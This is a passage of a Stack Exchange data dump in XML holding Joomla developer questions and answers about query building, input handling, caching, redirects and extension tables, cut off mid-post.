  <row Id="24776" PostTypeId="2" ParentId="24774" CreationDate="2019-06-02T10:13:36.497" Score="1" Body="&lt;p&gt;It seems that if you want to delete rows from one or more tables in a DELETE query containing a JOIN, you will need to specify the table(s) to delete between DELETE and FROM.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/q/2763206/2943403&quot;&gt;https://stackoverflow.com/q/2763206/2943403&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Joomla's &lt;code&gt;delete()&lt;/code&gt; method does not provide the necessary output - as you have discovered.&lt;/p&gt;&#xA;&lt;p&gt;If you wish to patch the output from the query methods, then you can replace your:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery(preg_replace('~DELETE \K~', 'u ', $query, 1));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;\K&lt;/code&gt; metacharacter in the pattern says &amp;quot;forget/release any previously matched characters&amp;quot;.  By using this technique, no characters are removed -- only &lt;code&gt;u&lt;/code&gt; then a space are added.&lt;/p&gt;&#xA;&lt;p&gt;Or because you only have one &lt;code&gt;DELETE&lt;/code&gt; in your query, you can more simply adjust the sql string with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery(str_replace('DELETE', 'DELETE u', $query));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This issue seems like reasonable grounds for an adjustment in core Joomla's &lt;code&gt;delete()&lt;/code&gt; method so that a hack isn't required.  However, maybe this is too uncommon of a fringe case to bother with.&lt;/p&gt;&#xA;&lt;p&gt;If the string replacement hack is too dirty for your taste, there are a few ways to perform this kind of mysql operation.  You might prefer to build a subquery to delete against.  (&lt;a href=&quot;https://joomla.stackexchange.com/a/24148/12352&quot;&gt;An example of Joomla subquery implementation.&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;See these other sql options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://networking.ringofsaturn.com/SQL/SQLDeleteRowsNotInAnotherTable.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://networking.ringofsaturn.com/SQL/SQLDeleteRowsNotInAnotherTable.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/3384143/2943403&quot;&gt;Delete sql rows where IDs do not have a match from another table&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-06-24T23:14:13.987" LastActivityDate="2020-06-24T23:14:13.987" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="24777" PostTypeId="1" AcceptedAnswerId="24781" CreationDate="2019-06-02T12:57:27.747" Score="0" ViewCount="572" Body="&lt;p&gt;I'm using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get an array of the input from a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foo = $jinput-&amp;gt;get('jform', '', 'raw');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can then &#xA;    echo $foo['formFieldName']&#xA;which prints out the correct value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then want to change the value to something else&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $foo['formFieldName'] = &quot;newValue&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I get the array again it doesn't change the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that there is some sort of setter that needs to be used but I can't get anything to work. Can anyone point me to an example that might work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should have put full code.  I did put the value back into the original array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;$foo = $jinput-&amp;gt;get('jform', '', 'raw');&#xA;&#xA;echo $foo['formFieldName'];&#xA;&#xA;$foo['formFieldName'] = &quot;newValue&quot;;&#xA;&#xA;$foo = $jinput-&amp;gt;set('jform', $foo);&#xA;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;$foo['formFieldName'] = &quot;newValue&quot;;&#xA;&#xA;echo &quot;&amp;lt;br&amp;gt;revised foo &quot;.$foo['formFieldName'];&#xA;&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does show the change in name but after this the system still seems to put in the previous value - like it's held by a global variable or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that it's how I've put it into the code sequence.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2019-06-02T16:18:02.317" LastActivityDate="2019-06-03T05:37:06.000" Title="Setting Joomla input" Tags="|joomla-3.x|jinput|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24778" PostTypeId="5" CreationDate="2019-06-02T13:03:23.953" Score="0" Body="&lt;p&gt;A controller is responsible for executing a sequence of instructions in response to some stimulus (maybe a command, action, or event). In Joomla!, this term is used to refer to the controller portion of the MVC (Model-View-Controller) pattern.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla makes extensive use of the Model-View-Controller design pattern.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Model-View-Controller&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Model-View-Controller&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-05T07:21:00.170" LastActivityDate="2019-06-05T07:21:00.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24779" PostTypeId="4" CreationDate="2019-06-02T13:03:23.953" Score="0" Body="A controller is responsible for executing a sequence of instructions in response to some stimulus (maybe a command, action, or event).  This tag is appropriate for questions pertaining to the controller of a Model-View-Controller pattern." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-05T07:21:03.213" LastActivityDate="2019-06-05T07:21:03.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24780" PostTypeId="2" ParentId="23291" CreationDate="2019-06-02T13:25:06.353" Score="2" Body="&lt;p&gt;Have you done already these &lt;strong&gt;basic checks&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;h1&gt;1 - Enable Joomla Caching&lt;/h1&gt;&#xA;&lt;p&gt;This will already significantly boost your page loading times&lt;/p&gt;&#xA;&lt;p&gt;Go to your plugins and open &lt;em&gt;Page Cache plugin&lt;/em&gt;&#xA;Usually it shall be already configured like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QIWzg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QIWzg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Save and close it&lt;/p&gt;&#xA;&lt;h1&gt;2 - Configure your Cache TTL and behaviour&lt;/h1&gt;&#xA;&lt;p&gt;Go to System - Global Configuration - System(-tab)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X95Bw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X95Bw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable the Caching to &amp;quot;ON progressive&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;set Cache time according to this (from our measurements)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;30 or less&#xA;for high load pages with 200+ visits per day&lt;/li&gt;&#xA;&lt;li&gt;60&#xA;for medium load pages with 100+ visits per day&lt;/li&gt;&#xA;&lt;li&gt;120&#xA;for low load pages with 50+ visits per day&lt;/li&gt;&#xA;&lt;li&gt;240&#xA;for very low load pages with 20+ visits per day&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This values we have accumulated from about 1 year of measuring multiple pages. If you have more than 200+ visits a day, you shall know already what you do from the cache time. But a rule of thumb: if you regularly update your content (let's say in medium of 15 minutes intervals) your cache time should be of course matching to your needs (15 mins or less).&#xA;If you can live with longer outdated delivery of content you can of course keep a longer cache time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Drawbacks&lt;/strong&gt;&#xA;But do not forget on any joomla/plugin/extension update this cache could produce for you a 500 error. In this case you can simply drop the cache in the Menu - System - Clear Cache (Delete All)&#xA;But here you have to have clearly an eye on it. Means you need to monitor and check it!&lt;/p&gt;&#xA;&lt;h1&gt;3 - Add a minifier and precaching plugin&lt;/h1&gt;&#xA;&lt;p&gt;There are multiple plugins out there. Also it really depends how well you like the plugin. All do the same:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;minify CSS, JS, HTML&lt;/li&gt;&#xA;&lt;li&gt;concatenate multiple CSS files into one or few&lt;/li&gt;&#xA;&lt;li&gt;concatenate multiple JS files into one or few&lt;/li&gt;&#xA;&lt;li&gt;concatenate multiple HTML files into one or few&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Sometimes they can even help you to improve image conversion or image concatenating into sprites. But this does not boost so much your page performance. Here you are doing the level of &amp;quot;cherry on the cake&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="13241" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-06-02T14:05:30.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24781" PostTypeId="2" ParentId="24777" CreationDate="2019-06-03T05:29:51.647" Score="1" Body="&lt;p&gt;Use input's &lt;code&gt;set()&lt;/code&gt; method to set input values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$foo = $input-&amp;gt;get('jform', array(), 'array');&#xA;$foo['formFieldName'] = 'newValue';&#xA;$input-&amp;gt;set('jform', $foo);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-06-03T05:37:06.000" LastActivityDate="2019-06-03T05:37:06.000" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24782" PostTypeId="2" ParentId="24769" CreationDate="2019-06-03T11:00:33.290" Score="0" Body="&lt;p&gt;In the Global Configuration, you could try setting the Database Type to MySQL (PDO) at least as a temporary fault finding measure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check in cPanel (or similar) that the required PHP extensions are being loaded. For example, Joomla runs fine for me with the following extensions loaded on PHP 7.2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZEVyu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZEVyu.png&quot; alt=&quot;PHP 7.2 Extensions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-06-03T11:00:33.290" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24783" PostTypeId="1" AcceptedAnswerId="25017" CreationDate="2019-06-03T11:53:17.900" Score="1" ViewCount="344" Body="&lt;p&gt;Google has indexed an URL on my site like this:&#xA;&lt;a href=&quot;https://www.joomla.org/?Itemid=&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomla.org/&lt;strong&gt;?Itemid=&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This results in &lt;em&gt;strange&lt;/em&gt; page of course. &lt;strong&gt;Try it with your own site!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the &lt;strong&gt;best way&lt;/strong&gt; to redirect this to the Joomla default menu item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Because Joomla's &lt;a href=&quot;https://docs.joomla.org/Help39:Components_Redirect_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Redirect Manager&lt;/a&gt; did not work and a 301 in the htaccess neither...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Joomla System Trigger&#xA;public function onAfterRoute()&#xA;{&#xA;    // some basic checks&#xA;    if ($this-&amp;gt;app-&amp;gt;isSite() === false) return; &#xA;&#xA;    $app = JFactory::getApplication();&#xA;    $Itemid   = $app-&amp;gt;input-&amp;gt;getInt('Itemid');      &#xA;&#xA;    // if an Itemid exists return&#xA;    if ($Itemid) return true;&#xA;&#xA;    // get the default menu item id&#xA;    $menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;    $menu_default = $menu-&amp;gt;getDefault();&#xA;    $menu_default_id = $menu_default-&amp;gt;id;&#xA;&#xA;    // route it&#xA;    $link = 'index.php?Itemid=' . $menu_default_id;&#xA;    $link = JRoute::_($link);       &#xA;&#xA;    // redirect to it&#xA;    $app-&amp;gt;redirect($link, 'We had an empty Itemid.');&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But could / should this be handled differently?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other methods I tried were as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /?Itemid= https://www.joomla.org/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And via the Redirect Manager:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aqAuT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqAuT.png&quot; alt=&quot;Redirect Manager&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&lt;/code&gt; is empty (of course). That is what I meant by &lt;em&gt;strange&lt;/em&gt;. &#xA;That's why I want it to redirect to the default menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw. Google indexed the page (only) with the Google Links. e.g. &lt;em&gt;Google Nieuws&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See image.&lt;a href=&quot;https://i.stack.imgur.com/bAlab.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bAlab.png&quot; alt=&quot;Google Nieuws&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not in my sitemap, not anywhere in the code / database. Screaming Frog SEO spidered it completely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But ok, I asked Google to remove the URL. We'll see.&lt;/p&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="12352" LastEditDate="2019-07-07T11:30:41.833" LastActivityDate="2019-08-07T22:26:03.923" Title="How to fix empty Itemid's like https://www.joomla.org/?Itemid=" Tags="|joomla-3.x|url|redirect|itemid|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24785" PostTypeId="2" ParentId="20913" CreationDate="2019-06-03T14:14:35.580" Score="0" Body="&lt;p&gt;It's always worth &lt;strong&gt;checking the standard Joomla! .htaccess file&lt;/strong&gt; vs the one you are using in case someone or some component/plugin has added extra rules that cause a clash.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-06-03T14:14:35.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24786" PostTypeId="1" CreationDate="2019-06-03T14:27:10.557" Score="0" ViewCount="41" Body="&lt;p&gt;The Joomla! extensions table is not editable in PHPMyAdmin.  I believe there are non-unique values there too, so it cannot have an index.  This is wreaking havoc with my install, I can't add any new extensions etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to fix this?  I have tried database fix but that didn't work.  When I try to do an update on &quot;install from web&quot; it shows two of them, so I think there are duplicate entries for that (and other things).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some sort of SQL script I could run to fix this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to make a column a primary key or a unique in PHP MyAdmin I get the error that there is an &lt;strong&gt;invalid default value&lt;/strong&gt; for &lt;code&gt;checked_out_time&lt;/code&gt;.  The default value is &lt;strong&gt;as defined&lt;/strong&gt; and &lt;code&gt;0000-00-00 00:00:00&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-06-03T14:27:10.557" Title="Joomla! extensions table is not unique" Tags="|mysql|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="24787" PostTypeId="1" CreationDate="2019-06-04T01:22:30.447" Score="1" ViewCount="740" Body="&lt;p&gt;I have to make changes to an image on an old Joomla site (V 3.7.4). Logging into the backend causes a server error 500.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated the image (which is located in templates/shaper_helix_ii/images), however the old version of the image is still showing on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've deleted all files in all subfolders of cache/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there somewhere in the file system where Joomla caches images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've cleared the page cache, but &lt;a href=&quot;https://docs.joomla.org/Cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;apparently&lt;/a&gt; there is a module cache, however I haven't been able to find it in the file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers as to where images are cached would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I've been using an incognito tab in Chrome, so the page definitely isn't cached locally.&lt;/p&gt;&#xA;" OwnerUserId="13577" OwnerDisplayName="clayRay" LastActivityDate="2019-12-11T16:02:00.237" Title="How to remove image from Joomla cache" Tags="|cache|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24788" PostTypeId="2" ParentId="24787" CreationDate="2019-06-04T08:01:37.257" Score="1" Body="&lt;p&gt;Cache clearing instructions can be found in the Joomla! docs here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Help39:Site_Maintenance_Clear_Cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Help39:Site_Maintenance_Clear_Cache&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some additional resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.templatemonster.com/help/joomla-3-x-clear-cache.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.templatemonster.com/help/joomla-3-x-clear-cache.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomlabamboo.com/blog/how-to-joomla/how-to-clear-cache-in-joomla3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlabamboo.com/blog/how-to-joomla/how-to-clear-cache-in-joomla3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cloudaccess.net/joomla-knowledgebase/108-joomla-3-1/maintenance/578-clearing-cache-in-joomla-3-0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cloudaccess.net/joomla-knowledgebase/108-joomla-3-1/maintenance/578-clearing-cache-in-joomla-3-0.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of the above links provide tutorials with screenshots and explanations so they should put you on the right path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's even an extension from Regular Labs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/cachecleaner&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/cachecleaner&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-06-04T08:01:37.257" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24789" PostTypeId="2" ParentId="24783" CreationDate="2019-06-04T08:08:48.967" Score="0" Body="&lt;p&gt;I have been able to recreate the issue on more of my sites and I think that you should report the issue as a Bug to the Joomla team to address rather than trying to create your own work around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't profess to understand the details of what is going in here but the code in ../libraries/src/Router/ spends a lot of effort encoding, decoding and validating URI's so I think that someone who understands it could/should create a rule or check to handle an empty Itemid= on an incoming or outgoing URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you can identify the code creating the empty Itemid= that Google is indexing I think this would be the best way to fix the issue for everyone. &lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-06-04T08:08:48.967" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24790" PostTypeId="2" ParentId="16773" CreationDate="2019-06-04T14:23:49.737" Score="1" Body="&lt;p&gt;Joomla Mailer extends the PHPMailer, so you can add this line of code after the send()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;clearAllRecipients();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8936" LastActivityDate="2019-06-04T14:23:49.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24791" PostTypeId="1" AcceptedAnswerId="32711" CreationDate="2019-06-04T18:08:57.593" Score="0" ViewCount="109" Body="&lt;p&gt;I'm trying to add komento comments count add to article at below file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/name-template/html/com_content/article/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    $query-&amp;gt;select(' COUNT(jc.id) AS comments_count, MAX(jc.created) AS comments_date')&#xA;                    -&amp;gt;join('LEFT', '#__komento_comments AS jc ON jc.cid = a.id AND jc.component = \'com_content\' AND jc.published = 1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use this code for fetch&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;comments_count; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but not show comments count ad get error&lt;/p&gt;&#xA;" OwnerUserId="9530" LastEditorUserId="9530" LastEditDate="2019-06-05T11:46:13.297" LastActivityDate="2023-01-17T21:41:33.653" Title="komento comments count at article" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="24794" PostTypeId="1" AcceptedAnswerId="24842" CreationDate="2019-06-06T16:52:33.470" Score="2" ViewCount="61" Body="&lt;p&gt;I know I can use many of the items found in this documentation such as jQuery&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Javascript_Frameworks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Javascript_Frameworks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by doing something simple like this &lt;code&gt;JHtml::_('jquery.framework', false);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, say I want to use &lt;em&gt;React&lt;/em&gt;, I know I can include it using &lt;code&gt;addScript&lt;/code&gt; but what if I wanted to use it for multiple modules/plugins/components.  Is there a way to make it globally available like jQuery is?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-07-16T13:27:39.923" Title="If I want to globally include a framework aside from jQuery?" Tags="|javascript|jhtml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24800" PostTypeId="1" CreationDate="2019-06-09T07:33:45.040" Score="0" ViewCount="116" Body="&lt;p&gt;I am wondering what is the best way to read and write http headers in Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to achieve?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I want to read all requests headers&lt;/li&gt;&#xA;&lt;li&gt;I want to add response headers&lt;/li&gt;&#xA;&lt;li&gt;I want to control optional existing headers by removing them or modifying them&lt;/li&gt;&#xA;&lt;li&gt;I want to ensure my code is the last part of a possible chain of handling the http headers, so nothing else may modify my headers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is where any good documentation how Joomla handles http-header processing? Is there something around like a chained processing (similar to c# or java http handling)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would you suggest to solve my above mentioned bullet-requirements?&lt;/p&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2019-06-09T07:33:45.040" Title="API to read and write http headers?" Tags="|joomla-api|header|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24801" PostTypeId="5" CreationDate="2019-06-09T13:36:58.897" Score="0" Body="&lt;p&gt;As of Joomla 3.9 there are the following methods in the JFactory Class:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;getApplication()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getDocument()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getDbo()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getUser()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getDate()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getMailer()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getConfig()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getSession()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cited Resource: &lt;a href=&quot;https://docs.joomla.org/Using_the_JFactory_class&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_the_JFactory_class&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Methods are changing within this class in Joomla 4, see some discussion here: &lt;a href=&quot;https://joomla.stackexchange.com/q/24484/12352&quot;&gt;JFactory::getDbo() deprecated— what's the replacement?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-10T12:21:47.093" LastActivityDate="2019-06-10T12:21:47.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24802" PostTypeId="4" CreationDate="2019-06-09T13:36:58.897" Score="0" Body="JFactory is the Joomla! Platform class, giving you access to the most important (mostly singletons) parts in Joomla.  Use this tag when you have issues relating to the class.  For issues pertaining to individual methods within the class, using tags such as jdocument, jdatabase, user, jdate, jmail, configuration, or jsession may be a suitable replacement or an accompaniment." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-10T12:21:31.140" LastActivityDate="2019-06-10T12:21:31.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24803" PostTypeId="1" AcceptedAnswerId="24832" CreationDate="2019-06-09T14:44:05.147" Score="1" ViewCount="272" Body="&lt;p&gt;I am building a component managing a set of job offers. Jobs have attributes including &quot;employer&quot;. (I am extending a component created with Component Creator.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a front-end list view with filtering that allows users to restrict the listed jobs to a particular employer (among other filtering options). Selecting an employer filter causes the following GET request to be generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/joomla/index.php/job-boerse/set-of-jobs?filter[employer]=Google&amp;amp;&amp;lt;some more stuff&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works nicely. However, now I wish to create a menu item type with an option, the employer, so I can create menu items, such as, Google Jobs, Apple Jobs, etc.. Essentially, I wish the menu items to preset the filter with a particular value that can be specified during menu item definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok. So I added the following options to the menu item type definition (joomla/components/com_jobs/views/jobs/templ/default.xml):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;COM_JOBS_TITLE_LIST_VIEW_JOBSFULL&quot; 